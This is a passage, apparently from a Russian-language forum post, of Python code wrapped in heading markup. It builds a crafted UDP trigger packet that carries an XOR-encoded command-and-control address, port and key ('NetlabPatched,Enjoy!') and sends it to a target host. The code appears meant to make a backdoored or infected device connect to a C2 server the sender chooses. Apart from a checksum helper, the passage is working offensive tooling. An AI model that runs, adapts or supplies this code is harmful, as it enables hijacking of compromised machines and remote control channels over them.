[HEADING=2]    return 0[/HEADING]
[HEADING=2]  crc = 0xFFFF[/HEADING]
[HEADING=2]  for i in range(0, length):[/HEADING]
[HEADING=2]    crc ^= data[offset + i] << 8[/HEADING]
[HEADING=2]    for j in range(0, 8):[/HEADING]
[HEADING=2]      if (crc & 0x8000) > 0:[/HEADING]
[HEADING=2]        crc = (crc << 1) ^ 0x1021[/HEADING]
[HEADING=2]      else:[/HEADING]
[HEADING=2]        crc = crc << 1[/HEADING]
[HEADING=2]  return crc & 0xFFFF[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def Gen_payload(ip:str,port:int):[/HEADING]
[HEADING=2]    out=bytearray()[/HEADING]
[HEADING=2]    part1=random.randbytes(92)[/HEADING]
[HEADING=2]    sum=crc16(part1,8,84)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2]    offset1=sum % 0xc8[/HEADING]
[HEADING=2]    offset2=sum % 0x37[/HEADING]
[HEADING=2]    padding1=random.randbytes(offset1)[/HEADING]
[HEADING=2]    padding2=random.randbytes(8)[/HEADING]
[HEADING=2]   [/HEADING]
[HEADING=2]   [/HEADING]
[HEADING=2]    host=socket.inet_aton(ip)[/HEADING]
[HEADING=2]    C2=bytearray(b'\x01')[/HEADING]
[HEADING=2]    C2+=host[/HEADING]
[HEADING=2]    C2+=int.to_bytes(port,2,byteorder="big")[/HEADING]
[HEADING=2]    key=b'NetlabPatched,Enjoy!'[/HEADING]
[HEADING=2]    C2 = C2+key +b'\x00\x00'[/HEADING]
[HEADING=2]    c2sum=crc16(C2,0,29)[/HEADING]
[HEADING=2]    C2=C2[:-2][/HEADING]
[HEADING=2]    C2+=(int.to_bytes(c2sum,2,byteorder="big"))[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]    flag=0x7f*10[/HEADING]
[HEADING=2]    out+=part1[/HEADING]
[HEADING=2]    out+=padding1[/HEADING]
[HEADING=2]    out+=(int.to_bytes(sum,2,byteorder="big"))[/HEADING]
[HEADING=2]    out+=(int.to_bytes(flag,2,byteorder="big"))[/HEADING]
[HEADING=2]    out+=padding2[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]    tmp=bytearray()[/HEADING]
[HEADING=2]    for i in range(29):[/HEADING]
[HEADING=2]      tmp.append(C2[i] ^ out[offset2+8+i])[/HEADING]
[HEADING=2]    out+=tmp[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]    leng=472-len(out)[/HEADING]
[HEADING=2]    lengpadding=random.randbytes(random.randint(0,leng+1))[/HEADING]
[HEADING=2]    out+=lengpadding[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]    return out[/HEADING]
[HEADING=2]   [/HEADING]
[HEADING=2]payload=Gen_payload('192.168.159.128',6666)[/HEADING]
[HEADING=2]sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)[/HEADING]
[HEADING=2]sock.sendto(payload,("192.168.159.133",2345))  #

 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх